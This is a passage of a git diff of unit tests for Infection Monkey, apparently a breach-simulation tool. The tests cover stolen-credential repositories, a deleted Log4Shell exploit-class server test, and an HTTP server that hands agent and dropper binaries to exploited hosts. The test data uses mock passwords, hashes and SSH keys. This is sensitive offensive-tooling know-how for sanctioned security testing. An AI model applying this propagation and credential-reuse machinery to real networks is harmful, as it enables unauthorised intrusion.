(51.234, 0.51234)] +) +def test_as_decimal_fraction_limited(input_value: float, expected_decimal_fraction: float): + assert ModelLimited(p=input_value).p.as_decimal_fraction() == expected_decimal_fraction # type: ignore [arg-type] # noqa: E501 diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py index 0d74bff1c34..a5b48d3f387 100644 --- a/monkey/tests/unit_tests/conftest.py +++ b/monkey/tests/unit_tests/conftest.py @@ -10,6 +10,7 @@ from common.agent_configuration import DEFAULT_AGENT_CONFIGURATION, AgentConfiguration # noqa: E402 from common.utils.environment import is_windows_os # noqa: E402 +from infection_monkey.network import TCPPortSelector # noqa: E402 @pytest.fixture(scope="session") @@ -27,17 +28,27 @@ def stable_file_sha256_hash() -> str: return "d9dcaadc91261692dafa86e7275b1bf39bb7e19d2efcfacd6fe2bfc9a1ae1062" +@pytest.fixture(scope="session") +def agent_plugin_repository_index_file(data_for_tests_dir) -> Path: + return data_for_tests_dir / "agent_plugin" / "agent_plugin_repository_index.yml" + + +@pytest.fixture(scope="session") +def agent_plugin_repository_index_simple_file(data_for_tests_dir) -> Path: + return data_for_tests_dir / "agent_plugin" / "agent_plugin_repository_index_simple.yml" + + @pytest.fixture def home_env_variable(): if is_windows_os(): - return "$USERPROFILE" + return "%USERPROFILE%" else: return "$HOME" @pytest.fixture def patched_home_env(monkeypatch, tmp_path, home_env_variable): - monkeypatch.setenv(home_env_variable.strip("$"), str(tmp_path)) + monkeypatch.setenv(home_env_variable.strip("%$"), str(tmp_path)) return tmp_path @@ -65,3 +76,8 @@ def plugin_data_dir(data_for_tests_dir) -> Path: @pytest.fixture def default_agent_configuration() -> AgentConfiguration: return deepcopy(DEFAULT_AGENT_CONFIGURATION) + + +@pytest.fixture(scope="session") +def tcp_port_selector() -> TCPPortSelector: + return TCPPortSelector() diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index b345de00f1d..e108e69c738 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -54,3 +54,6 @@ def send_heartbeat(self, timestamp: float): def send_log(self, log_contents: str): return + + def terminate_signal_is_set(self) -> bool: + return True diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py index a5bb49667f3..695f7c8c5b4 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py @@ -6,10 +6,7 @@ from infection_monkey.agent_event_handlers import ( add_stolen_credentials_to_propagation_credentials_repository, ) -from infection_monkey.propagation_credentials_repository import ( - ILegacyPropagationCredentialsRepository, - IPropagationCredentialsRepository, -) +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository credentials = [ Credentials( @@ -21,21 +18,17 @@ source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"), target=None, timestamp=0.0, - tags=frozenset({"stolen credentials"}), + tags=frozenset({"stolen-credentials"}), stolen_credentials=credentials, ) def test_add_credentials_from_event_to_propagation_credentials_repository(): mock_propagation_credentials_repository = MagicMock(spec=IPropagationCredentialsRepository) - mock_legacy_propagation_credentials_repository = MagicMock( - spec=ILegacyPropagationCredentialsRepository - ) fn = add_stolen_credentials_to_propagation_credentials_repository( - mock_propagation_credentials_repository, mock_legacy_propagation_credentials_repository + mock_propagation_credentials_repository ) fn(credentials_stolen_event) assert mock_propagation_credentials_repository.add_credentials.called_with(credentials) - assert mock_legacy_propagation_credentials_repository.add_credentials.called_with(credentials) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py deleted file mode 100644 index fe57348bdf2..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py +++ /dev/null @@ -1,166 +0,0 @@ -from typing import List -from unittest.mock import MagicMock - -import pytest -from pydantic import SecretStr -from tests.data_for_tests.propagation_credentials import ( - CREDENTIALS, - LM_HASH, - NT_HASH, - PASSWORD_1, - PASSWORD_2, - PASSWORD_3, - PRIVATE_KEY_1, - PRIVATE_KEY_2, - PUBLIC_KEY, - SPECIAL_USERNAME, - USERNAME, -) - -from common.credentials import Credentials, LMHash, NTHash, Password, SSHKeypair, Username -from infection_monkey.propagation_credentials_repository import ( - AggregatingPropagationCredentialsRepository, -) - -TRANSFORMED_CONTROL_CHANNEL_CREDENTIALS = { - "exploit_user_list": {USERNAME, SPECIAL_USERNAME}, - "exploit_password_list": {PASSWORD_1, PASSWORD_2, PASSWORD_3}, - "exploit_lm_hash_list": {LM_HASH}, - "exploit_ntlm_hash_list": {NT_HASH}, -} - -TRANSFORMED_CONTROL_CHANNEL_SSH_KEYS = { - "exploit_ssh_keys": [ - {"public_key": PUBLIC_KEY, "private_key": PRIVATE_KEY_1}, - {"public_key": None, "private_key": PRIVATE_KEY_2}, - ], -} - -EMPTY_CHANNEL_CREDENTIALS: List[Credentials] = [] - -STOLEN_USERNAME_1 = "user1" -STOLEN_USERNAME_2 = "user2" -STOLEN_USERNAME_3 = "user3" -STOLEN_PASSWORD_1 = SecretStr("abcdefg") -STOLEN_PASSWORD_2 = SecretStr("super_secret") -STOLEN_PUBLIC_KEY_1 = "some_public_key_1" -STOLEN_PUBLIC_KEY_2 = "some_public_key_2" -STOLEN_LM_HASH = SecretStr("AAD3B435B51404EEAAD3B435B51404EE") -STOLEN_NT_HASH = SecretStr("C0172DFF622FE29B5327CB79DC12D24C") -STOLEN_PRIVATE_KEY_1 = SecretStr("some_private_key_1") -STOLEN_PRIVATE_KEY_2 = SecretStr("some_private_key_2") -STOLEN_CREDENTIALS = [ - Credentials( - identity=Username(username=STOLEN_USERNAME_1), - secret=Password(password=PASSWORD_1), - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_1), secret=Password(password=STOLEN_PASSWORD_1) - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_2), - secret=SSHKeypair(public_key=STOLEN_PUBLIC_KEY_1, private_key=STOLEN_PRIVATE_KEY_1), - ), - Credentials( - identity=None, - secret=Password(password=STOLEN_PASSWORD_2), - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_2), secret=LMHash(lm_hash=STOLEN_LM_HASH) - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_2), secret=NTHash(nt_hash=STOLEN_NT_HASH) - ), - Credentials(identity=Username(username=STOLEN_USERNAME_3), secret=None), -] - -STOLEN_SSH_KEYS_CREDENTIALS = [ - Credentials( - identity=Username(username=USERNAME), - secret=SSHKeypair(public_key=STOLEN_PUBLIC_KEY_2, private_key=STOLEN_PRIVATE_KEY_2), - ) -] - - -@pytest.fixture -def aggregating_credentials_repository() -> AggregatingPropagationCredentialsRepository: - control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = CREDENTIALS - return AggregatingPropagationCredentialsRepository(control_channel) - - -@pytest.mark.parametrize("key", TRANSFORMED_CONTROL_CHANNEL_CREDENTIALS.keys()) -def test_get_credentials_from_repository(aggregating_credentials_repository, key): - actual_stored_credentials = aggregating_credentials_repository.get_credentials() - - assert actual_stored_credentials[key] == TRANSFORMED_CONTROL_CHANNEL_CREDENTIALS[key] - - -def test_get_ssh_keys_from_repository(aggregating_credentials_repository): - actual_stored_credentials = aggregating_credentials_repository.get_credentials() - actual_stored_credentials_set = { - frozenset(ssh_key.items()) for ssh_key in actual_stored_credentials["exploit_ssh_keys"] - } - - expected_credentials_set = { - frozenset(ssh_key.items()) - for ssh_key in TRANSFORMED_CONTROL_CHANNEL_SSH_KEYS["exploit_ssh_keys"] - } - assert actual_stored_credentials_set == expected_credentials_set - - -def test_add_credentials_to_repository(aggregating_credentials_repository): - aggregating_credentials_repository.add_credentials(STOLEN_CREDENTIALS) - aggregating_credentials_repository.add_credentials(STOLEN_SSH_KEYS_CREDENTIALS) - - actual_stored_credentials = aggregating_credentials_repository.get_credentials() - - assert actual_stored_credentials["exploit_user_list"] == set( - [ - USERNAME, - SPECIAL_USERNAME, - STOLEN_USERNAME_1, - STOLEN_USERNAME_2, - STOLEN_USERNAME_3, - ] - ) - assert actual_stored_credentials["exploit_password_list"] == set( - [ - PASSWORD_1, - PASSWORD_2, - PASSWORD_3, - STOLEN_PASSWORD_1, - STOLEN_PASSWORD_2, - ] - ) - assert actual_stored_credentials["exploit_lm_hash_list"] == set([LM_HASH, STOLEN_LM_HASH]) - assert actual_stored_credentials["exploit_ntlm_hash_list"] == set([NT_HASH, STOLEN_NT_HASH]) - - assert len(actual_stored_credentials["exploit_ssh_keys"]) == 4 - - -def test_all_keys_if_credentials_empty(): - control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = EMPTY_CHANNEL_CREDENTIALS - credentials_repository = AggregatingPropagationCredentialsRepository(control_channel) - - actual_stored_credentials = credentials_repository.get_credentials() - print(type(actual_stored_credentials)) - - assert "exploit_user_list" in actual_stored_credentials - assert "exploit_password_list" in actual_stored_credentials - assert "exploit_ntlm_hash_list" in actual_stored_credentials - assert "exploit_ssh_keys" in actual_stored_credentials - - -def test_credentials_obtained_if_propagation_credentials_fails(): - control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = EMPTY_CHANNEL_CREDENTIALS - control_channel.get_credentials_for_propagation.side_effect = Exception( - "No credentials for you!" - ) - credentials_repository = AggregatingPropagationCredentialsRepository(control_channel) - - credentials = credentials_repository.get_credentials() - - assert credentials is not None diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py index 3877cdf16e1..ec296c68684 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/conftest.py @@ -1,4 +1,3 @@ -import sys from collections import namedtuple from unittest.mock import MagicMock @@ -16,15 +15,6 @@ def local_user(): return DomainUser("TEST-DOMAIN", "localuser") -@pytest.fixture(scope="module") -def patch_win32api_get_user_name(local_user): - win32api = MagicMock() - win32api.GetUserNameEx = MagicMock(return_value=f"{local_user.domain}\\{local_user.username}") - win32api.NameSamCompatible = None - - sys.modules["win32api"] = win32api - - def _create_windows_host(http_enabled, https_enabled): no_ssl_port = NetworkPort(5985) ssl_port = NetworkPort(5986) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py deleted file mode 100644 index 006f675497a..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ /dev/null @@ -1,82 +0,0 @@ -from multiprocessing import get_context - -import pytest -import requests - -from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer -from infection_monkey.network import TCPPortSelector - - -@pytest.fixture -def ip(): - return "127.0.0.1" - - -@pytest.fixture -def tcp_port_selector() -> TCPPortSelector: - context = get_context("spawn") - return TCPPortSelector(context, context.Manager()) - - -@pytest.fixture -def port(tcp_port_selector): - return tcp_port_selector.get_free_tcp_port() - - -@pytest.fixture -def java_class(): - return b"\xde\xad\xbe\xef" - - -@pytest.fixture -def server(ip, port, java_class): - server = ExploitClassHTTPServer(ip, port, java_class, 0.01) - server.run() - - yield server - - server.stop() - - -@pytest.fixture -def second_server(ip, tcp_port_selector, java_class): - server = ExploitClassHTTPServer(ip, tcp_port_selector.get_free_tcp_port(), java_class, 0.01) - server.run() - - yield server - - server.stop() - - -@pytest.fixture -def exploit_url(ip, port): - return f"http://{ip}:{port}/Exploit" - - -@pytest.mark.usefixtures("server") -def test_only_single_download_allowed(exploit_url, java_class): - response_1 = requests.get(exploit_url) - assert response_1.status_code == 200 - assert response_1.content == java_class - - response_2 = requests.get(exploit_url) - assert response_2.status_code == 429 - assert response_2.content != java_class - - -def test_exploit_class_downloaded(server, exploit_url): - assert not server.exploit_class_downloaded() - - requests.get(exploit_url) - - assert server.exploit_class_downloaded() - - -def test_thread_safety(server, second_server, exploit_url): - assert not server.exploit_class_downloaded() - assert not second_server.exploit_class_downloaded() - - requests.get(exploit_url) - - assert server.exploit_class_downloaded() - assert not second_server.exploit_class_downloaded() diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_http_agent_binary_request_handler.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_http_agent_binary_request_handler.py new file mode 100644 index 00000000000..e109b42a9a8 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_http_agent_binary_request_handler.py @@ -0,0 +1,270 @@ +import threading +from http import HTTPStatus +from http.server import HTTPServer +from io import BytesIO +from typing import Type +from unittest.mock import MagicMock + +import pytest +import requests + +from common import OperatingSystem +from infection_monkey.exploit import IAgentBinaryRepository, RetrievalError +from infection_monkey.exploit.agent_binary_request import ( + AgentBinaryDownloadReservation, + ReservationID, +) +from infection_monkey.exploit.http_agent_binary_request_handler import ( + AgentBinaryHTTPRequestHandler, + get_http_handler, +) + +AGENT_BINARY = b"agent_binary" +DROPPER_BINARY = b"dropper_agent_binary" +IP = "127.0.0.1" +UUID_1 = ReservationID("00000000-0000-0000-0000-000000000001") +UUID_2 = ReservationID("00000000-0000-0000-0000-000000000002") + + +def use_agent_binary(agent_binary: bytes) -> bytes: + return agent_binary + + +def wrap_agent_binary(agent_binary: bytes) -> bytes: + return b"dropper_" + agent_binary + + +@pytest.fixture +def port(tcp_port_selector) -> int: + return int(tcp_port_selector.get_free_tcp_port()) + + +@pytest.fixture +def binary_request_1(port) -> AgentBinaryDownloadReservation: + return AgentBinaryDownloadReservation( + UUID_1, + OperatingSystem.LINUX, + use_agent_binary, + f"http://{IP}:{port}/{UUID_1}", + threading.Event(), + ) + + +@pytest.fixture +def binary_request_2(port) -> AgentBinaryDownloadReservation: + return AgentBinaryDownloadReservation( + UUID_2, + OperatingSystem.WINDOWS, + use_agent_binary, + f"http://{IP}:{port}/{UUID_2}", + threading.Event(), + ) + + +@pytest.fixture +def dropper_request_1(port) -> AgentBinaryDownloadReservation: + return AgentBinaryDownloadReservation( + UUID_1, + OperatingSystem.LINUX, + wrap_agent_binary, + f"http://{IP}:{port}/{UUID_1}", + threading.Event(), + ) + + +@pytest.fixture +def dropper_request_2(port) -> AgentBinaryDownloadReservation: + return AgentBinaryDownloadReservation( + UUID_2, + OperatingSystem.WINDOWS, + wrap_agent_binary, + f"http://{IP}:{port}/{UUID_2}", + threading.Event(), + ) + + +@pytest.fixture +def agent_binary_repository() -> IAgentBinaryRepository: + return MagicMock(spec=IAgentBinaryRepository) + + +@pytest.fixture +def agent_binary_http_handler( + agent_binary_repository: IAgentBinaryRepository, +) -> Type[AgentBinaryHTTPRequestHandler]: + return get_http_handler(agent_binary_repository, {}, {}, lambda: threading.Lock()) + + +@pytest.fixture +def http_server(port, agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler]): + server = HTTPServer(("127.0.0.1", port), agent_binary_http_handler) + server_thread = threading.Thread(target=server.serve_forever) + server_thread.start() + + yield server + + server.shutdown() + server_thread.join() + + +def test_get_http_handler__provides_unique_types(agent_binary_repository: IAgentBinaryRepository): + handler1 = get_http_handler(agent_binary_repository, {}, {}, lambda: threading.Lock()) + handler2 = get_http_handler(agent_binary_repository, {}, {}, lambda: threading.Lock()) + + assert handler1 is not handler2 + assert handler1.locks is not handler2.locks + assert handler1.reservations is not handler2.reservations + + +@pytest.mark.parametrize( + "agent_binary_request_fixture", + ["binary_request_1", "binary_request_2", "dropper_request_1", "dropper_request_2"], +) +def test_reserve_download__succeeds( + agent_binary_http_handler: AgentBinaryHTTPRequestHandler, + agent_binary_request_fixture: AgentBinaryDownloadReservation, + request, +): + agent_binary_request = request.getfixturevalue(agent_binary_request_fixture) + agent_binary_http_handler.reserve_download(agent_binary_request) + + +@pytest.mark.parametrize("first_request_fixture", ["binary_request_1", "dropper_request_1"]) +@pytest.mark.parametrize("second_request_fixture", ["binary_request_2", "dropper_request_2"]) +def test_reserve_download__allows_multiple_reservations( + agent_binary_http_handler: AgentBinaryHTTPRequestHandler, + first_request_fixture: AgentBinaryDownloadReservation, + second_request_fixture: AgentBinaryDownloadReservation, + request, +): + first_request = request.getfixturevalue(first_request_fixture) + second_request = request.getfixturevalue(second_request_fixture) + agent_binary_http_handler.reserve_download(first_request) + agent_binary_http_handler.reserve_download(second_request) + + +def test_reserve_download__fails_if_request_exists( + agent_binary_http_handler: AgentBinaryHTTPRequestHandler, + binary_request_1: AgentBinaryDownloadReservation, +): + agent_binary_http_handler.reserve_download(binary_request_1) + with pytest.raises(KeyError): + agent_binary_http_handler.reserve_download(binary_request_1) + + +@pytest.mark.parametrize( + "agent_binary_request_fixture", + ["binary_request_1", "binary_request_2"], +) +def test_clear_reservation__succeeds( + agent_binary_http_handler: AgentBinaryHTTPRequestHandler, + agent_binary_request_fixture: AgentBinaryDownloadReservation, + request, +): + agent_binary_request = request.getfixturevalue(agent_binary_request_fixture) + agent_binary_http_handler.reserve_download(agent_binary_request) + agent_binary_http_handler.clear_reservation(agent_binary_request.id) + + +def test_clear_reservation__fails_if_request_does_not_exist( + agent_binary_http_handler: AgentBinaryHTTPRequestHandler, + binary_request_1: AgentBinaryDownloadReservation, +): + with pytest.raises(KeyError): + agent_binary_http_handler.clear_reservation(binary_request_1.id) + + +@pytest.mark.xdist_group(name="tcp_port_selector") +@pytest.mark.usefixtures("http_server") +def test_agent_binary_request__succeeds( + agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], + agent_binary_repository: IAgentBinaryRepository, + binary_request_1: AgentBinaryDownloadReservation, +): + request = binary_request_1 + agent_binary_repository.get_agent_binary.return_value = BytesIO( # type: ignore[attr-defined] + AGENT_BINARY + ) + + agent_binary_http_handler.reserve_download(request) + response = requests.get(request.download_url) + + assert response.status_code == HTTPStatus.OK + assert response.content == AGENT_BINARY + + +@pytest.mark.xdist_group(name="tcp_port_selector") +@pytest.mark.usefixtures("http_server") +def test_agent_binary_request__fails_if_no_binary_available( + agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], + agent_binary_repository: IAgentBinaryRepository, + binary_request_1: AgentBinaryDownloadReservation, +): + request = binary_request_1 + agent_binary_repository.get_agent_binary.side_effect = ( # type: ignore[attr-defined] + RetrievalError + ) + + agent_binary_http_handler.reserve_download(request) + response = requests.get(request.download_url) + + assert response.status_code == HTTPStatus.INTERNAL_SERVER_ERROR + + +@pytest.mark.xdist_group(name="tcp_port_selector") +@pytest.mark.usefixtures("http_server") +def test_agent_binary_request__fails_if_unregistered( + binary_request_1: AgentBinaryDownloadReservation, + agent_binary_repository: IAgentBinaryRepository, +): + request = binary_request_1 + agent_binary_repository.get_agent_binary.return_value = BytesIO( # type: ignore[attr-defined] + AGENT_BINARY + ) + + # We haven't registered the request + response = requests.get(request.download_url) + + assert response.status_code == HTTPStatus.NOT_FOUND + assert response.content != AGENT_BINARY + + +@pytest.mark.xdist_group(name="tcp_port_selector") +@pytest.mark.usefixtures("http_server") +def test_agent_binary_request__fails_if_already_downloaded( + agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], + agent_binary_repository: IAgentBinaryRepository, + binary_request_1: AgentBinaryDownloadReservation, +): + request = binary_request_1 + agent_binary_repository.get_agent_binary.return_value = BytesIO( # type: ignore[attr-defined] + AGENT_BINARY + ) + + agent_binary_http_handler.reserve_download(request) + first_response = requests.get(request.download_url) + second_response = requests.get(request.download_url) + + assert first_response.status_code == HTTPStatus.OK + assert first_response.content == AGENT_BINARY + assert second_response.status_code == HTTPStatus.TOO_MANY_REQUESTS + assert second_response.content != AGENT_BINARY + + +@pytest.mark.xdist_group(name="tcp_port_selector") +@pytest.mark.usefixtures("http_server") +def test_agent_binary_request__is_transformed( + agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], + agent_binary_repository: IAgentBinaryRepository, + dropper_request_1: AgentBinaryDownloadReservation, +): + request = dropper_request_1 + agent_binary_repository.get_agent_binary.return_value = BytesIO( # type: ignore[attr-defined] + AGENT_BINARY + ) + + agent_binary_http_handler.reserve_download(request) + response = requests.get(request.download_url) + + assert response.status_code == HTTPStatus.OK + assert response.content == DROPPER_BINARY diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_http_agent_binary_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_http_agent_binary_server.py new file mode 100644 index 00000000000..b823e2da447 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_http_agent_binary_server.py @@ -0,0 +1,276 @@ +import threading +from dataclasses import dataclass +from http import HTTPStatus +from ipaddress import IPv4Address +from multiprocessing import get_context +from multiprocessing.managers import SyncManager +from queue import Queue +from typing import List, Tuple, Type +from unittest.mock import MagicMock + +import pytest +import requests + +from common import OperatingSystem +from infection_monkey.exploit.agent_binary_request import ( + AgentBinaryDownloadReservation, + AgentBinaryTransform, + ReservationID, +) +from infection_monkey.exploit.http_agent_binary_request_handler import AgentBinaryHTTPRequestHandler +from infection_monkey.exploit.http_agent_binary_server import HTTPAgentBinaryServer +from infection_monkey.network import TCPPortSelector + +REQUESTOR_IP = IPv4Address("1.1.1.1") +UUID_1 = ReservationID("00000000-0000-0000-0000-000000000001") + + +def use_agent_binary(agent_binary: bytes) -> bytes: + return agent_binary + + +class MockAgentBinaryHTTPRequestHandlerMT(AgentBinaryHTTPRequestHandler): + reserved_downloads: List[AgentBinaryDownloadReservation] = [] + cleared_reservations: List[ReservationID] = [] + + @classmethod + def reserve_download(cls, request: AgentBinaryDownloadReservation): + cls.reserved_downloads.append(request) + request.download_completed.set() + + @classmethod + def clear_reservation(cls, reservation_id: ReservationID): + cls.cleared_reservations.append(reservation_id) + + +@pytest.fixture +def mock_agent_binary_http_handler() -> Type[AgentBinaryHTTPRequestHandler]: + class MockAgentBinaryHTTPRequestHandler(AgentBinaryHTTPRequestHandler): + reserved_downloads: List[AgentBinaryDownloadReservation] = [] + cleared_reservations: List[ReservationID] = [] + + reserve_download_mock = MagicMock() + clear_reservation_mock = MagicMock() + + @classmethod + def reserve_download(cls, request: AgentBinaryDownloadReservation): + cls.reserved_downloads.append(request) + cls.reserve_download_mock(request) + + @classmethod + def clear_reservation(cls, reservation_id: ReservationID): + cls.cleared_reservations.append(reservation_id) + cls.clear_reservation_mock(reservation_id) + + def do_GET(self): + print("do_GET is getting stuff") + self.send_response(HTTPStatus.OK) + self.send_header("Content-Length", str(0)) + self.end_headers() + + return MockAgentBinaryHTTPRequestHandler + + +@pytest.fixture +def http_agent_binary_server( + tcp_port_selector: TCPPortSelector, + mock_agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], +) -> HTTPAgentBinaryServer: + return HTTPAgentBinaryServer( + tcp_port_selector, + lambda: mock_agent_binary_http_handler, + lambda: threading.Event(), + threading.Lock(), + ) + + +@pytest.mark.xdist_group(name="tcp_port_selector") +@pytest.mark.parametrize("operating_system", [os for os in OperatingSystem]) +@pytest.mark.parametrize("transform", [lambda x: x, lambda x: b"a" * x]) +def test_register__succeeds( + http_agent_binary_server: HTTPAgentBinaryServer, + mock_agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], + operating_system: OperatingSystem, + transform: AgentBinaryTransform, +): + ticket = http_agent_binary_server.register(operating_system, REQUESTOR_IP, transform) + http_agent_binary_server.stop() + + mock_http_handler = mock_agent_binary_http_handler + reserve_download = mock_http_handler.reserve_download_mock # type: ignore[attr-defined] + assert reserve_download.called_once() # type: ignore[attr-defined] + registered_request = reserve_download.call_args[0][0] # type: ignore[attr-defined] + assert registered_request.operating_system == operating_system + assert registered_request.transform_agent_binary == transform + assert ticket.id == registered_request.id + + +@pytest.mark.xdist_group(name="tcp_port_selector") +def test_register__fails_if_handler_registration_fails( + http_agent_binary_server: HTTPAgentBinaryServer, + mock_agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], +): + mock_http_handler = mock_agent_binary_http_handler + mock_http_handler.reserve_download_mock.side_effect = Exception # type: ignore[attr-defined] + + with pytest.raises(Exception): + http_agent_binary_server.register(OperatingSystem.LINUX, REQUESTOR_IP) + + http_agent_binary_server.stop() + + +@pytest.mark.xdist_group(name="tcp_port_selector") +def test_register__starts_the_server_if_not_started( + http_agent_binary_server: HTTPAgentBinaryServer, +): + request = http_agent_binary_server.register(OperatingSystem.LINUX, REQUESTOR_IP) + + response = requests.get(request.download_url) + http_agent_binary_server.stop() + assert response.status_code == HTTPStatus.OK + + +@pytest.mark.xdist_group(name="tcp_port_selector") +def test_deregister__deregisters_the_request( + http_agent_binary_server: HTTPAgentBinaryServer, + mock_agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], +): + request = http_agent_binary_server.register(OperatingSystem.LINUX, REQUESTOR_IP) + http_agent_binary_server.deregister(request.id) + http_agent_binary_server.stop() + + clear_reservation = ( + mock_agent_binary_http_handler.clear_reservation_mock # type: ignore[attr-defined] + ) + clear_reservation.assert_called_once_with(request.id) # type: ignore[attr-defined] + + +def test_deregister__raises_error_on_invalid_reservation_id( + http_agent_binary_server: HTTPAgentBinaryServer, + mock_agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], +): + mock_http_handler = mock_agent_binary_http_handler + mock_http_handler.clear_reservation_mock.side_effect = KeyError # type: ignore[attr-defined] + with pytest.raises(KeyError): + http_agent_binary_server.deregister(UUID_1) + + +@pytest.mark.xdist_group(name="tcp_port_selector") +def test_start__starts_the_server(http_agent_binary_server: HTTPAgentBinaryServer): + http_agent_binary_server.start() + request = http_agent_binary_server.register(OperatingSystem.LINUX, REQUESTOR_IP) + + response = requests.get(request.download_url) + http_agent_binary_server.stop() + assert response.status_code == HTTPStatus.OK + + +@dataclass +class Connection: + laddr: Tuple[str, int] + + +def test_start__fails_if_no_port_available( + http_agent_binary_server: HTTPAgentBinaryServer, + monkeypatch, +): + unavailable_ports = [Connection(("", p)) for p in range(65536)] + monkeypatch.setattr( + "infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports + ) + with pytest.raises(Exception): + http_agent_binary_server.start() + + http_agent_binary_server.stop() + + +def register_download_request( + server: HTTPAgentBinaryServer, + queue, + operating_system: OperatingSystem, +): + result = server.register(operating_system, REQUESTOR_IP) + queue.put(result) + + +class GetHTTPHandler: + def __init__(self, handler_class): + self._handler_class = handler_class + + def __call__(self): + return self._handler_class + + +class HTTPAgentBinaryServerFactory: + def __init__(self, tcp_port_selector, get_http_handler): + self._tcp_port_selector = tcp_port_selector + self._get_http_handler = get_http_handler + self._manager = None + + def __call__(self): + if self._manager is None: + self._manager = get_context("spawn").Manager() + return HTTPAgentBinaryServer( + self._tcp_port_selector, + self._get_http_handler, + self._manager.Event, + self._manager.Lock(), + ) + + +@pytest.mark.xdist_group(name="tcp_port_selector") +def test_request__download_completed_threading( + http_agent_binary_server: HTTPAgentBinaryServer, + mock_agent_binary_http_handler: Type[AgentBinaryHTTPRequestHandler], +): + # Tell the handler to "download" the file + def reserve_download(request): + request.download_completed.set() + + mock_http_handler = mock_agent_binary_http_handler + mock_http_handler.reserve_download_mock.side_effect = ( # type: ignore[attr-defined] + reserve_download + ) + queue: Queue[AgentBinaryDownloadReservation] = Queue() + thread = threading.Thread( + target=register_download_request, + args=(http_agent_binary_server, queue, OperatingSystem.WINDOWS), + daemon=True, + ) + thread.start() + request = queue.get() + thread.join() + + assert request.download_completed.is_set() + + +@pytest.mark.xdist_group(name="tcp_port_selector") +def test_request__download_completed_multiprocessing(): + SyncManager.register("TCPPortSelector", TCPPortSelector) + # Register a type that I can use to get the data + SyncManager.register( + "HTTPHandlerFactory", + GetHTTPHandler(GetHTTPHandler(MockAgentBinaryHTTPRequestHandlerMT)), + exposed=("__call__",), + ) + context = get_context("spawn") + _manager = context.Manager() + tcp_port_selector = _manager.TCPPortSelector() # type: ignore[attr-defined] + handler_factory = _manager.HTTPHandlerFactory() # type: ignore[attr-defined] + server_factory = HTTPAgentBinaryServerFactory(tcp_port_selector, handler_factory) + SyncManager.register("HTTPAgentBinaryServer", server_factory) + + manager = context.Manager() + server = manager.HTTPAgentBinaryServer() # type: ignore[attr-defined] + queue = context.Queue() + + p1 = context.Process( # type: ignore[attr-defined] + target=register_download_request, + args=(server, queue, OperatingSystem.LINUX), + daemon=True, + ) + p1.start() + request = queue.get() + p1.join() + + assert request.download_completed.is_set() diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 9f5ab9e8c14..4c470a22a91 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -10,7 +10,7 @@ from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem -from common.agent_events import ExploitationEvent, PropagationEvent +from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from infection_monkey.exploit import IAgentBinaryRepository @@ -23,7 +23,7 @@ RemoteCommandExecutionError, RemoteFileCopyError, ) -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository AGENT_ID = UUID("5536298a-c262-46b8-8c62-da3fceb24edf") @@ -100,7 +100,7 @@ def brute_force_exploiter( def run_brute_force_exploiter( brute_force_exploiter: BruteForceExploiter, interrupt: Event = 